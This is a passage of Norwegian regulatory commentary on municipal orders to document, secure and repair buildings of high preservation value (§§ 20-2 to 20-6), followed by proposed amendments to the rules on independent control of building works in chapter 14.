merknaden til\u00a7 20-5 tredje ledd nedenfor.\n    \n    \u00a0\n    \n    **Merknad til \u00a7 20-2 P\u00e5legg om dokumentasjon, forh\u00e5ndskonferanse, tilsyn**\n    \n    Til f\u00f8rste ledd\n    \n    For at kravet om dokumentasjon skal kunne anvendes, m\u00e5 det v\u00e6re \u00e5penbart at det kan bli aktuelt med p\u00e5legg. Manglende ytre vedlikehold vil ikke v\u00e6re tilstrekkelig. Det er ikke noe vilk\u00e5r at forfallet skal v\u00e6re kommet langt, men tilstanden skal v\u00e6re lett \u00e5 se. Tydelige skader p\u00e5 tak eller knuste vinduer vil uten utbedring f\u00f8re til skader p\u00e5 bygningen, som gj\u00f8r at den forfaller. P\u00e5 samme m\u00e5te kan langvarig passivitet overfor en bygning f\u00f8re til forfall. Dette kan imidlertid v\u00e6re vanskeligere \u00e5 fastsl\u00e5. Forsvarlig saksbehandling forutsetter at bygningens tilstand og hvilke tiltak som er hensiktsmessige for \u00e5 utbedre forholdene vurderes f\u00f8r eventuelt p\u00e5legg gis. Kommunene kan ikke p\u00e5 generelt grunnlag kreve dokumentasjon. Det m\u00e5 v\u00e6re en situasjon der kommunen mener at et p\u00e5legg er n\u00f8dvendig for \u00e5 hindre at bevaringsverdier kan bli skadet p\u00e5 grunn av forfall, og at den trenger flere opplysninger f\u00f8r endelig beslutning treffes.\n    \n    P\u00e5legget om dokumentasjon skal rettes mot eier. Dette samsvarer med teknisk forskrift \u00a7 13-2 om at eier har plikt til \u00e5 oppbevare dokumentasjonen av (nye) byggverk. Ansvarssubjektet er dermed annerledes i denne bestemmelsen (\"eier\") enn i \u00a7 20-3, som sier at p\u00e5legg om utbedring skal rettes mot den \"den ansvarlige\". Dette har sammenheng med at eier er den naturlige adressat for dokumentasjon av bygningen, mens den ansvarlige for forfallet kan v\u00e6re andre.\n    \n    For bygninger som er forh\u00e5ndsdefinert som bevaringsverdige i medhold av planer m.v. etter plan - og bygningsloven, kan det likevel v\u00e6re n\u00f8dvendig med utfyllende vurderinger av s\u00e6rskilte bevaringsverdige elementer, for \u00e5 fastsl\u00e5 forfallets omfang og konkretisere hva en istandsetting vil kunne inneb\u00e6re.\n    \n    Til andre ledd\n    \n    For \u00e5 sikre en forsvarlig dialog f\u00f8r det gis p\u00e5legg er det fremhevet at det b\u00f8r brukes forh\u00e5ndskonferanse i slike saker. Etter plan- og bygningslovens \u00a7 21-1 kan b\u00e5de kommunen og eier kreve forh\u00e5ndskonferanse. I denne forskrift er kravet forsterket, slik at kommunen skal tilby forh\u00e5ndskonferanse, alts\u00e5 en mer aktiv plikt for kommunen. Eieren plikter ikke \u00e5 m\u00f8te, men han mister dermed en mulighet til dialog f\u00f8r det gis p\u00e5legg om utbedring. Der eier \u00f8nsker forh\u00e5ndskonferanse skal kommunen s\u00f8rge for at den blir avholdt innen 2 uker. Se for \u00f8vrig denne forskrift \u00a7 6-1 om forh\u00e5ndskonferanse.\n    \n    Eier skal gis mulighet til \u00e5 fremme alternative forslag om bruk og utbedring. Slike forslag trenger ikke fremkomme under forh\u00e5ndskonferansen, men kan fremmes under hele prosessen, helt til fristen for \u00e5 etterkomme p\u00e5legget om utbedring er utl\u00f8pt. Muligheten til \u00e5 fremme alternative forslag begrenses imidlertid utover i prosessen, s\u00e6rlig der kommunen angir eventuell alternativ bruk i forbindelse med p\u00e5legget om dokumentasjon eller p\u00e5legget om utbedring, jf. \u00a7 20-4. Forslag som bare fremst\u00e5r som ren trenering beh\u00f8ver kommunen ikke ta hensyn til. Det inneb\u00e6rer at jo senere et forslag om alternativ bruk fremlegges, jo mindre vekt kan det tillegges. Vurderingen m\u00e5 imidlertid sees i sammenheng med generelle krav til og forslag om bruksendring, dispensasjoner, planendringer osv. I den forbindelse b\u00f8r kommunen samtidig vurdere den reguleringsmessige situasjonen med sikte p\u00e5 eventuell regulering til bevaring.\n    \n    Til tredje ledd\n    \n    Etter plan- og bygningsloven \u00a7\u00a7 31-7 og 33-2 har kommunen anledning til \u00e5 f\u00f8re tilsyn med eksisterende byggverk n\u00e5r det er grunn til \u00e5 vurdere p\u00e5legg etter plan- og bygningsloven \u00a7\u00a7 31-3 og 31-4. Kommunen har dermed anledning til \u00e5 kreve dokumentasjon av, og f\u00f8re tilsyn med de bygninger som er aktuelle etter denne forskrift \u00a7\u00a7 20-1 flg. Det er ingen forutsetning for \u00e5 kreve dokumentasjon at kommunen har f\u00f8rt tilsyn dersom kommunen ellers har indikasjoner p\u00e5 at det er aktuelt med p\u00e5legg.\n    \n    Bestemmelsen kan imidlertid ikke brukes slik at kommunen kan f\u00e5 adgang til alle bygninger for \u00e5 unders\u00f8ke tilstanden, det m\u00e5 foreligge klare indikasjoner p\u00e5 forfall. Terskelen for \u00e5 f\u00f8re tilsyn og kreve dokumentasjon b\u00f8r ikke v\u00e6re for h\u00f8y, det m\u00e5 v\u00e6re tilstrekkelig at det etter kommunens skj\u00f8nn kan v\u00e6re aktuelt med p\u00e5legg etter forskriftens \u00a7 20-3. Adgangen til \u00e5 kreve dokumentasjon og \u00e5 f\u00f8re tilsyn begrenses ikke av at det eventuelt viser seg at det likevel ikke er aktuelt med et slikt p\u00e5legg. Beslutning om tilsyn og p\u00e5legg om dokumentasjon er prosessledende avgj\u00f8relser, og kan ikke p\u00e5klages.\n    \n    Tilsyn etter plan- og bygningsloven \u00a7\u00a7 31-7 og 33-2, evt. med sakkyndig bistand, kan gjennomf\u00f8res for \u00e5 fastsl\u00e5 en bygnings bevaringsverdi og tilstand. Utgifter til sakkyndig bistand kan kreves dekket av eier/den ansvarlige, dersom dette fremg\u00e5r uttrykkelig av kommunens gebyrregulativ. Ordin\u00e6r saksbehandling for \u00e5 behandle en sak etter denne forskrift, kan ikke belastes eier/den ansvarlige direkte, men m\u00e5 kunne inng\u00e5 som administrative fellsutgifter i den generelle gebyrfinansieringen. Kommunens adgang til \u00e5 innhente sakkyndig bistand skal ikke overlappe p\u00e5legg om dokumentasjon av bygningen etter denne forskrift \u00a7 20-2.\u00a0\n    \n    Til fjerde ledd\n    \n    I Ot.prp. nr. 45 (2007-2008) s. 350 anf\u00f8res: \"Med \"dokumentasjon\" menes at eier forut for et eventuelt p\u00e5legg om utbedring kan p\u00e5legges \u00e5 dokumentere, for eksempel i form av omprosjektering, hvordan bygningens tilstand er med hensyn til for eksempel universell utforming, helse, milj\u00f8 og sikkerhet.\" Det samme m\u00e5 gjelde ogs\u00e5 for utbedring av hensyn til bevaringsverdi. Dette er f eks. innarbeidet som rutine i Oslo kommune.\n    \n    Tilstandsrapporten kan bygge p\u00e5 Norsk Standard NS 3423 \"Tilstandsanalyse av fredete og verneverdige bygninger.\" Standarden bygger direkte p\u00e5 NS 3424 \"Tilstandsanalyse for byggverk\", niv\u00e5 1 (enkleste niv\u00e5) og er utarbeidet spesielt for tilstandsregistrering av fredede og verneverdige byggverk. I hht. pkt. 4.1 skal p\u00e5legget gjelde tilstandsregistrering av generell art som best\u00e5r av visuelle observasjoner, om n\u00f8dvendig kombinert med enkle m\u00e5linger. I tillegg skal n\u00f8dvendig informasjon om eiendommen og bygningen samt relevante tegninger innhentes.\n    \n    \u00a0Til femte ledd\n    \n    Kommunen m\u00e5 sette rimelig frist for oppfyllelse av p\u00e5legget om krav til dokumentasjon. Det er i utgangspunktet kommunen som bestemmer fristen, og fristfastsettelsen er ikke noe eget enkeltvedtak som kan p\u00e5klages s\u00e6rskilt. En urimelig kort frist kan imidlertid inng\u00e5 som et av flere klagegrunnlag p\u00e5 selve p\u00e5legget om utbedring etter \u00a7 20-5. Fristen b\u00f8r normalt settes slik at en tilstandsvurdering kan bestilles og gjennomf\u00f8res.\n    \n      \n    **Merknad til \u00a7 20-3 Bevaringsverdige bygninger**\n    \n    Bestemmelsen gir en beskrivelse av hva som er bevaringsverdige bygninger. For at det skal kunne gis p\u00e5legg om utbedring etter plan- og bygningsloven \u00a7 31-4, m\u00e5 bygningen i utgangspunktet omfattes av kriteriene i \u00a7 20-3. Bestemmelsen angir s\u00e5ledes den ytre rammen for forskriftens virkeomr\u00e5de. \u00a7 20-3 angir bare hva som ligger i \"bevaringsverdi\". For \u00e5 kunne gi et eventuelt p\u00e5legg, m\u00e5 kommunen f\u00f8rst ta stilling til om kriteriene for bevaringsverdi er oppfylt, og deretter om bevaringsverdien\u00a0 i henhold til \u00a7 20-1\u00a0 er\u00a0 \u00e5 anse som \"h\u00f8y\".\n    \n    Til f\u00f8rste ledd\n    \n    Bygninger som er gitt bevaringsstatus i reguleringsplan er \u00e5 anse som bevaringsverdige etter forskriften her uten n\u00e6rmere vurdering.\n    \n    Reguleringsplaner gjenspeiler ofte overordnete kulturminneverdier. Den enkelte bygning har ikke n\u00f8dvendigvis bevaringsverdi, selv om det ligger innenfor omr\u00e5det/ sonen med bevaringsstatus i planen. Bevaringsverdien kan v\u00e6re knyttet til helheten eller sammenhengen. Kommunen m\u00e5 derfor gj\u00f8re en selvstendig vurdering av graden av bevaringsverdi for den enkelte bygning, jf merknaden til \u00a7 20-1.\n    \n    For fredete byggverk er det egne regler om plikt til vedlikehold og istandsetting i kulturminneloven \u00a7\u00a7 16 og 17. For slike byggverk har fylkeskommunen og Sametinget et selvstendig tilsynsansvar som regional kulturminnemyndighet. Dersom kommunen i forbindelse med tiltak blir kjent med forhold som ber\u00f8rer fredete bygninger/byggverk, skal kulturminnemyndighetene varsles, jf. kulturminneloven \u00a7 25 f\u00f8rste ledd. Varslingsplikten kommer i tillegg til den meldeplikt kommunene har etter kulturminneloven \u00a7 25 annet ledd, n\u00e5r kommunen behandler s\u00f8knad etter plan- og bygningsloven om riving eller vesentlig endring av byggverk fra f\u00f8r 1850.\u00a0\n    \n    Til andre ledd\n    \n    I tillegg til de bygninger som automatisk har \"bevaringsverdi\" etter f\u00f8rste ledd, kan begrepet ogs\u00e5 omfatte andre bygninger. Begrepet \"bevaringsverdi\" er ikke gitt noen definisjon i lovverket. En viss veiledning finnes i kulturminneloven. Selv om kulturminnelovens verne- og saksbehandlingsbestemmelser gjelder fredete kulturminner, sier lovens form\u00e5lsbestemmelse noe om hva det er ved kulturminnene som er verdt \u00e5 ta vare p\u00e5, jf. merknadene til \u00a7 20-1.\n    \n    Bevaringsverdige bygningers verdi som kilde for kunnskap og opplevelse bed\u00f8mmes etter kriteriene i denne bestemmelsens bokstav a) \u2013 f).\n    \n    \u2022\u00a0Representativitet er knyttet til m\u00e5lsettingen om \u00e5 sikre et representativt utvalg av bygninger p\u00e5 landsbasis. Hvis det er f\u00e5 eksemplarer tilbake av det som tidligere har v\u00e6rt sv\u00e6rt vanlig er det s\u00e6rlig viktig \u00e5 bevare disse. Ogs\u00e5 sjeldenhet - unike bygninger \u2013 kan v\u00e6re et selvstendig kriterium.\n    \n    \u2022\u00a0Autentisitet peker p\u00e5 det opprinnelige og ekte, knyttet til en bestemt tid, bruk eller lignende. Uttrykket brukes ogs\u00e5 ofte om bygninger som er lite endret.\u00a0\n    \n    \u2022\u00a0Arkitektonisk verdi omfatter b\u00e5de kunstnerisk, kulturhistorisk og funksjonell/bygningsteknisk kvalitet. Estetiske verdier inng\u00e5r her. Vurderingen vil bygge p\u00e5 skj\u00f8nnsmessige kriterier, som m\u00e5 v\u00e6re faglig begrunnet. Ogs\u00e5 bygningens utforming sett i lys av datidens kunnskap og tilgang p\u00e5 materialer, kan tillegges vekt.\n    \n    \u2022\u00a0Identitetsverdi- eller symbolverdi sier noe om hvilken verdi bygningen har som identitetsskapende element i milj\u00f8et, som kunnskapskilde eller som objekt for opplevelse. Bygninger knyttet til viktige hendelser eller personer vil gjerne bli tillagt identitets- eller symbolverdi.\u00a0\n    \n    \u2022\u00a0Sammenheng med kultur- eller naturmilj\u00f8. Bygninger som ligger i et kultur- eller naturmilj\u00f8 kan ha verdi som del av milj\u00f8et, selv om det isolert sett ikke er av bevaringsverdi.\u00a0\n    \n    Bygningens alder er i denne sammenheng ikke et selvstendig kriterium for bevaringsverdi, men inng\u00e5r som en del av vurderingen innenfor de andre kriteriene. Med alderen \u00f8ker gjerne byggverkets andre verdier, som kilde til kunnskap og opplevelse.\n    \n    Bygningens bruksmuligheter skal ikke tillegges vekt ved vurdering av dens bevaringsverdi, men kan f\u00e5 betydning ved vurderingen av hvorvidt det skal gis p\u00e5legg om utbedring, jf \u00a7 20-5.\u00a0\n    \n    Det er kommunen som plan- og bygningsmyndighet som har myndighet etter denne forskriften. I likhet med hva som gjelder for andre faglige standarder i forskrifter til plan- og bygningsloven, har bygningsmyndigheten ansvar for \u00e5 ta stilling til og vurdere bygningens bevaringsverdi i den enkelte sak. Dersom kommunen ikke har kulturminnefaglig kompetanse selv, skal vurderingene bygge p\u00e5 uttalelse fra myndighet, foretak eller organisasjon med slik kompetanse. Kommunen kan f. eks. sp\u00f8rre fylkeskommunen, et konsulentfirma eller det lokale historielaget. Hvis kommunen besitter kulturminnefaglig kompetanse, m\u00e5 den allikevel vurdere behovet for faglig kvalitetssikring av de verdivurderinger som gj\u00f8res, jf. utredningsplikten etter forvaltningsloven (fvl) \u00a7 17. Kommunens vurdering kan overpr\u00f8ves fullt ut av klageinstansen (fylkesmannen), og kan omgj\u00f8res etter fvl . \u00a7 35.\u00a0 Kommunens vedtak kan likeledes overpr\u00f8ves fullt ut av domstolene.\n    \n    Som regional kulturminnemyndighet vil fylkeskommunen/Sametinget kunne bist\u00e5 kommunen med n\u00f8dvendige vurderinger av bevaringsverdi.\u00a0 Fylkeskommunens/Sametingets myndighetsut\u00f8velse innenfor kulturminnevernet er hjemlet i kulturminneloven for s\u00e5 vidt gjelder vedtaksfredete eller automatisk fredete kulturminner. Fylkeskommunen ut\u00f8ver ogs\u00e5 myndighet innen kulturminnevernet i saker etter plan- og bygningsloven. Fylkeskommunen kan i denne sammenheng blant annet fremme innsigelse mot planer som er i konflikt med kulturminneinteresser utover hva som er fredet etter kulturminneloven, og skal gis anledning til \u00e5 vurdere alle s\u00f8knader om tiltak som inneb\u00e6rer riving eller vesentlig endring av byggverk oppf\u00f8rt f\u00f8r 1850, jf. kulturminneloven \u00a7 25 annet ledd.\n    \n    Det finnes andre kilder som viser kommunens vurdering av bygningers/byggverks bevaringsverdi. Eksempler p\u00e5 slike kilder er \"Gul liste\" utarbeidet av byantikvaren i Oslo, \"NB\\!registeret (Nasjonale kulturhistoriske bymilj\u00f8er)\" utarbeidet av Riksantikvaren og listen over tett verneverdig trehusbebyggelse, som Riksantikvaren og Direktoratet for samfunnsberedskap har utarbeidet sammen.\n    \n      \n    **Merknad til \u00a7 20-4 Varsel om p\u00e5legg om sikring eller utbedring**\n    \n    Bestemmelsen forutsetter at det skal v\u00e6re en forutg\u00e5ende dialog f\u00f8r det gis p\u00e5legg. Denne dialogen m\u00e5 ogs\u00e5 omfatte antikvariske myndigheter. Den ansvarlige skal gis en rimelig frist som ikke skal v\u00e6re kortere enn 4 uker til selv \u00e5 komme med alternative forslag til utbedring. I en del tilfeller b\u00f8r kommunen vurdere lengre frist, for eksempel der det skal fremmes alternative planforslag, evt. s\u00f8knad om bruksendring eller dispensasjon. Oms\u00f8kte tiltak p\u00e5 eksisterende bygg etter plan- og bygningsloven \u00a7 31-2 siste ledd m\u00e5 ogs\u00e5 vurderes f\u00f8r det gis p\u00e5legg. Det b\u00f8r ogs\u00e5 gis mulighet til \u00e5 unders\u00f8ke \u00f8konomiske st\u00f8tteordninger.\n    \n    \u00a0\n    **Merknad til \u00a7 20-5 P\u00e5legg om utbedring**\n    \n    Til f\u00f8rste ledd\n    \n    For at kommunen skal kunne gi p\u00e5legg, m\u00e5 den for det f\u00f8rste ha tatt stilling til om bygningen har h\u00f8y bevaringsverdi, og for det andre at det p\u00e5vises et klart forfall. Begge disse vurderingene ligger i hovedsak til kommunens skj\u00f8nn. Skj\u00f8nnet er et rettsanvendelsesskj\u00f8nn som kan overpr\u00f8ves.\n    \n    Det er den som er ansvarlig for bygningen p\u00e5legget om utbedring skal rettes mot. Dette kan v\u00e6re andre enn den som eier bygget, dvs. den som plikter \u00e5 holde bygningen i stand, jf. plan- og bygningsloven \u00a7 31-3 f\u00f8rste ledd, typisk en leietaker eller en annen som disponerer bygningen.\u00a0\n    \n    Utbedring skal begrenses til tiltak for \u00e5 bringe bygningen tilbake til en bygningsmessig tilstand som ivaretar bevaringsverdien.\u00a0 Tiltakene kan i f\u00f8rste rekke omfatte bygningens utvendige bygningsdeler samt deler som er av betydning for bevaringen av bygningen. Det kan for eksempel v\u00e6re fundament, b\u00e6rende konstruksjoner og bygningstekniske installasjoner. Ogs\u00e5 andre bygnings- og vedlikeholdsmessige forhold kan ha betydning for bevaring av bygningen, for eksempel innsetting av eller reparasjon av l\u00e5ser, slik at uvedkommende ikke kan ta seg inn i bygningen og gj\u00f8re skade.\u00a0\n    \n    P\u00e5legg iht. plan- og bygningsloven \u00a7 31-4 andre ledd kan bare gis der utbedring vil gi \"vesentlig forbedring\" av byggverkets (\u2026) funksjon som tilsies av \"tungtveiende hensyn\" til (...) bevaringsverdi.\u00a0 Dette betyr at ikke enhver unnlatelse av vedlikehold kvalifiserer for p\u00e5legg. Det m\u00e5 alts\u00e5 foreligge et klart forfall. P\u00e5 den annen side kan visse typer unnlatt vedlikehold gi st\u00f8rre og raskere skadevirkninger enn andre, og derved vurderes strengere. Graden av bevaringsverdi bygningen har, kan ogs\u00e5 ha betydning for n\u00e5r en utbedring anses \u00e5 gi en vesentlig forbedring.  \n    Ved vurdering av om p\u00e5legg skal gis, skal det ogs\u00e5 legges vekt p\u00e5 om eventuelle skader p\u00e5 bygningen kan skape fare eller ulempe for omgivelsene.\n    \n    Til andre ledd\n    \n    Hensikten med p\u00e5legget m\u00e5 v\u00e6re \u00e5 oppn\u00e5 en forsvarlig vedlikeholdsstandard for den aktuelle del av bygningen, slik at bygningen med et normalt vedlikeholdsniv\u00e5 fremover ikke vil forfalle p\u00e5 en m\u00e5te som skader den h\u00f8ye bevaringsverdien den har.\n    \n    Utbedringen skal bringe bygningen til en tilstand som i tilstrekkelig grad ivaretar bevaringsverdiene. Dette inneb\u00e6rer normalt istandsetting til en vedlikeholdsmessig tilstand slik bygningen opprinnelig ble bygget eller lovlig var endret til f\u00f8r forfall eller skade inntraff. Det vil ikke v\u00e6re tilstrekkelig \u00e5 sikre bygningen med for eksempel tildekking eller overbygging. Etter denne bestemmelsen er det selve bygningen som skal settes i stand. Jf. ogs\u00e5 \u00a7 20-6 om s\u00e6rskilt p\u00e5legg om sikring. Hvis bygningen er gitt bevaringsstatus i arealplan, kan det her v\u00e6re gitt bestemmelser om hvordan bevaring skal opprettholdes.\n    \n    Bygningens bruksmuligheter skal ikke tillegges vekt ved vurdering av dens bevaringsverdi, men kan f\u00e5 betydning ved vurderingen av hvorvidt det skal gis p\u00e5legg om utbedring. Bruksmulighet gjelder ikke bare bruksmulighetene i henhold til bygningens tidligere funksjon, men ogs\u00e5 annen bruk som kan styrke bevaringen av bygningen. Dette betyr ogs\u00e5 at den tekniske tilstanden ikke er avgj\u00f8rende for om en bygninghar bevaringsverdi, men kan virke inn p\u00e5 vurderingen av p\u00e5legget.\u00a0 Muligheter for alternativ bruk mv b\u00f8r tas i betraktning, men hovedtyngden av vurderingen m\u00e5 gjelde behovet for utbedring. Intensive bruksform\u00e5l er ikke n\u00f8dvendigvis mer verdifulle enn utstrakt bruk. For eksempel vil et opprinnelig uthus kunne bli best bevart om det opprettholder sin funksjon som uthus eller lager.\n    \n    Til tredje ledd\n    \n    Det f\u00f8lger av det generelle kravet til et vedtaks forholdsmessighet at kostnadene ved gjennomf\u00f8ring av p\u00e5legget ikke skal v\u00e6re urimelig h\u00f8ye. Kostnadene skal sees i forhold til hva forsvarlig vedlikehold, i den tid fors\u00f8mt vedlikehold antas \u00e5 ha foreg\u00e5tt, ellers ville ha kostet. I forholdsmessighetsvurderingen kommer ogs\u00e5 andre momenter inn, som eiendommens \u00f8konomiske b\u00e6reevne, den ansvarliges \u00f8konomiske situasjon og hvilke bruksmuligheter bygningen har. Slike momenter vil dessuten ha betydning som grense for n\u00e5r p\u00e5legg kan gis, noe som inneb\u00e6rer at p\u00e5legg ikke kan gis n\u00e5r disse momentene taler mot det.\n    \n    Det kan ogs\u00e5 legges vekt p\u00e5 den ansvarliges situasjon for \u00f8vrig, herunder om forfallet fremtrer som spekulativt for \u00e5 oppn\u00e5 en uforholdsmessig stor fortjeneste eller annen arealbruk enn dagens.\u00a0 Dette kan for eksempel v\u00e6re tilfelle i bymessige str\u00f8k eller attraktive str\u00f8k for fritidsbebyggelse, hvis eksisterende bygninger er til hinder for \u00f8nsket utnyttelse. Kommunen skal ikke vurdere skyld, dvs. forsett, grad av uaktsomhet eller vinnings hensikt.\n    \n    Der skaden har oppst\u00e5tt ved for eksempel en naturp\u00e5kjenning som steinras, utglidning av grunn m.v. eller en annen ytre p\u00e5virkning som brann, h\u00e6rverk m.v., blir vurderingen annerledes. Det m\u00e5 da foretas en form for kost/nyttevurdering av hvorvidt p\u00e5legg om utbedring skal gis. Hvordan bygningen er eller burde ha v\u00e6rt forsikret og hvilken verdiskaping en utbedring vil kunne medf\u00f8re, er momenter som kan tas i betraktning i denne forbindelse.\n    \n    Til fjerde ledd\n    \n    P\u00e5legg om utbedring m\u00e5 kunne v\u00e6re av mer midlertidig karakter dersom det kan dokumenteres at bygningen eller den aktuelle delen av den skal gjennomg\u00e5 en planlagt utbedring i n\u00e6r fremtid. Dette forutsettes avklart i dialog mellom kommunen og den ansvarlige. Det forutsettes at det i slike tilfeller utarbeides en forpliktende fremdriftsplan som vilk\u00e5r for p\u00e5legget.\n    \n    Til femte ledd\n    \n    Fristen for oppfyllelse av p\u00e5legget m\u00e5 vurderes konkret for hvert enkelt tilfelle. Fristen b\u00f8r v\u00e6re romslig, slik at det tas hensyn til normal fremdrift for tiltaket. Den som p\u00e5legget rettes mot m\u00e5 vurdere tilgjengelig kompetanse, om det skal fremmes planforslag, bygges\u00f8knad, s\u00f8knad i forbindelse med \u00f8konomiske st\u00f8tteordninger osv. Kommunens vurdering av fristen m\u00e5 ogs\u00e5 sees i forhold til behovet for umiddelbare sikringstiltak i medhold av \u00a7 20-6.\u00a0 P\u00e5 samme m\u00e5te som fristen for dokumentasjon etter \u00a7 20-2 siste ledd er heller ikke denne fristen eget enkeltvedtak.\n    \n    Oppsummert blir saksgangen dermed at kommunen skal tilby og eier kan kreve forh\u00e5ndskonferanse, eventuelt etter et tilsyn, og at kommunen deretter stiller krav om at eier m\u00e5 dokumentere bygningens tekniske tilstand, og at eier eventuelt angir alternativ bruk som kommunen kan akseptere for at eier skal sette i gang utbedring. Eier skal ha rimelig frist til denne dokumentasjonen. Deretter gis det varsel om p\u00e5legg med minst 4 uker for uttalelse, og det kan deretter gis p\u00e5legg om utbedring med rimelig frist. Denne fristen b\u00f8r kunne forlenges der det f. eks. s\u00f8kes om \u00f8konomiske tilskudd, omregulering, eller det er behov for utredninger om alternativ bruk.\n    \n    P\u00e5legg kan p\u00e5klages av den ansvarlige og andre med rettslig klageinteresse, og f\u00f8lger for \u00f8vrig vanlige regler for p\u00e5legg etter plan- og bygningsloven. I vurderingen av rettslig klageinteresse vil det ligge en vurdering av at ogs\u00e5 andre som blir direkte ber\u00f8rt av p\u00e5legget, skal kunne klage. Dette vil ogs\u00e5 kunne omfatte interesseorganisasjoner. Kommunens vurderinger av om det foreligger grunnlag for \u00e5 gi p\u00e5legg, vil v\u00e6re et rettsanvendelsesskj\u00f8nn, som kan overpr\u00f8ves av domstolene.\n    \n    Kommunen kan fastsette tvangsmulkt for \u00e5 f\u00e5 gjennomf\u00f8rt p\u00e5legg om utbedring i henhold til fastsatt frist, jf. plan- og bygningsloven \u00a7 32-6. Den kan ogs\u00e5 gjennomf\u00f8re p\u00e5lagt utbedring for eiers regning etter forutg\u00e5ende forelegg, jf. plan- og bygningsloven \u00a7 32-7. Kommunen kan ogs\u00e5 nedlegge midlertidig forbud mot tiltak etter lovens kapittel 13, for deretter for eksempel \u00e5 regulere til bevaring, og eventuelt ekspropriere. Etter plan- og bygningsloven \u00a7 31-8 kan kommunen ogs\u00e5 vedta utbedringsprogram. Disse mulighetene fremg\u00e5r generelt av plan- og bygningsloven, og er derfor ikke uttrykkelig nevnt i forskriftsteksten.\n    \n    Overordnet bygningsmyndighet har samme adgang til \u00e5 bruke p\u00e5leggsadgangen, kreve dokumentasjon og f\u00f8re tilsyn, som kommunen har. Dette vil f\u00f8rst og fremst v\u00e6re aktuelt der kommunen ikke selv f\u00f8lger opp aktuelle saker, men inneb\u00e6rer ogs\u00e5 at fylkesmannen eller departementet kan gripe inn p\u00e5 selvstendig grunnlag. Dette vil ogs\u00e5 kunne f\u00e5 betydning for kommunale bygninger, der kommunen selv er ansvarlig for forfall eller fare for forfall. Adgangen for overordnet myndighet til \u00e5 gripe inn forutsettes likevel bare brukt unntaksvis, normalt b\u00f8r overordnet myndighet heller henstille til kommunen \u00e5 benytte de hjemler som foreligger.\n    \n      \n    **Merknad til \u00a7 20-6 P\u00e5legg om sikring**\n    \n    Bestemmelsen kommer til anvendelse der en bygning med h\u00f8y bevaringsverdi utsettes for fare for forfall pga. brann, h\u00e6rverk el.l., eller der forfallet er kommet s\u00e5 langt at bygningen ikke vil kunne reddes dersom det ikke gripes inn umiddelbart. Strakstiltak som p\u00e5legges vil ha en midlertidig karakter, i p\u00e5vente av en grundigere vurdering etter \u00a7\u00a7 20-2 og 20-3. Eksempler p\u00e5 tiltak kan v\u00e6re \u00e5 dekke et lekk tak med presenning, \u00e5 t\u00f8rke ut en vannskadet bygning, \u00e5 l\u00e5se av en bygning som st\u00e5r \u00e5pent eller \u00e5 s\u00f8rge for n\u00f8dvendig brannvarsling.\n    \n    Bestemmelsen \u00e5pner for umiddelbare minimumstiltak, som ikke kan v\u00e6re mer omfattende enn hva som vurderes som strengt n\u00f8dvendig. Bestemmelsen er i f\u00f8rste rekke tenkt brukt der kommunen vurderer mer gjennomgripende tiltak for \u00e5 f\u00e5 utbedret bygningen. P\u00e5legg om umiddelbare tiltak vil s\u00e5ledes kunne medf\u00f8re at etterf\u00f8lgende utbedringsp\u00e5legg blir mindre kostnadskrevende for den ansvarlige. Dette kan det tas hensyn til ved vurderingen av hvor omfattende de umiddelbare sikringstiltakene kan v\u00e6re.\n    \n    \u00a0\n    **Del 2 \u2013 Forslag til endringer i Kapittel 14 Kontroll av tiltak**\n    \n    **\u00a7 14-1 andre ledd skal lyde:**  \n    \"Kontrollerende foretak skal ikke ha personlig eller \u00f8konomisk tilknytning som kan p\u00e5virke kontrollen. Dette skal bekreftes i ansvarsrettss\u00f8knaden, og gjelder ~~b\u00e5de~~ i forhold til ~~tiltakshaver og~~ de foretak *som prosjekterer eller utf\u00f8rer* arbeidet som skal kontrolleres.\"\n    \n    **\u00a7 14-2 f\u00f8rste ledd 3. setning skal lyde:**  \n    \"Ansvarlig kontrollerende skal kontrollere at det er gjennomf\u00f8rt tilstrekkelig prosjektering av fuktsikring, herunder utforming av viktige l\u00f8sninger, at det foreligger n\u00f8dvendig produksjonsunderlag innenfor kontrollomr\u00e5det, *og at utf\u00f8relsen er gjennomf\u00f8rt i samsvar med produksjonsunderlaget*.\"\n    \n    **\u00a7 14-2 annet ledd bokstav d) skal lyde:**  \n    \"d) brannsikkerhet, hvor kontrollkravet begrenses til prosjektering av brannsikkerhets~~strategi/~~konsept.\"\n    \n    **\u00a7 14-2 siste ledd skal lyde:  \n    **\"N\u00e5r prosjektering, utf\u00f8relse og kvalitetssikring er gjennomf\u00f8rt i samsvar med relevant, gjeldende Norsk Standard med kontrollanvisninger, (eller likeverdig europeisk standard) begrenses kontrollkravet til kontroll av at standardens ~~kontroll~~anvisninger ~~for utvidet kontroll~~ er fulgt.\"\n    \n    **\u00a7 14-6 andre ledd bokstav b) skal lyde:  \n    **\"*Kontrollere at det er foretatt tilstrekkelig prosjektering, jf. \u00a7 14-2 f\u00f8rste ledd*, og foreta en enkel kontroll av at utf\u00f8relsen er gjennomf\u00f8rt i samsvar med produksjonsunderlaget, at n\u00f8dvendig produktdokumentasjon for byggevarer er tilgjengelig, og at produktene er brukt i samsvar med forutsetningene.\"\n    \n    **\u00a7 14-7 tredje ledd skal lyde:  \n    **\"*I kontroll av prosjektering skal det kontrolleres  \n    *a.\u00a0at ansvarlig prosjekterendes styringssystem inneholder rutiner for kvalitetssikring av arbeidet som skal utf\u00f8res innenfor kontrollomr\u00e5det i henhold til relevante krav i eller med hjemmel i plan- og bygningsloven, og at *rutinene og kravene* er fulgt og dokumentert,  \n    b.\u00a0utg\u00e5r, og c) blir ny b), og d) blir ny c).\n    \n    **\u00a7 14-7 fjerde ledd skal lyde:**  \n    \" *I kontroll av utf\u00f8relse skal det kontrolleres*  \n    a)\u00a0at ansvarlig utf\u00f8rendes styringssystem inneholder rutiner for kvalitetssikring av arbeidet som skal utf\u00f8res innenfor kontrollomr\u00e5det i henhold til relevante krav i eller med hjemmel i plan- og bygningsloven, og at *rutinene og kravene* er fulgt og dokumentert,  \n    b)\u00a0utg\u00e5r, og c) blir ny b), og d) blir ny c).  \n    \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\n    \n      \n    **Merknader til forslagene til endringer i forskriftens kapittel 14 Kontroll av tiltak**\n    \n    **  \n    Innledning  \n    **  \n    Reglene som gjelder uavhengig kontroll trer i kraft 1. juli 2012, dvs. to \u00e5r senere enn de \u00f8vrige byggesaksreglene i plan- og bygningsloven og forskrift om byggesak (SAK10). Grunnen til dette er at foretak og kommuner skal ha bedre 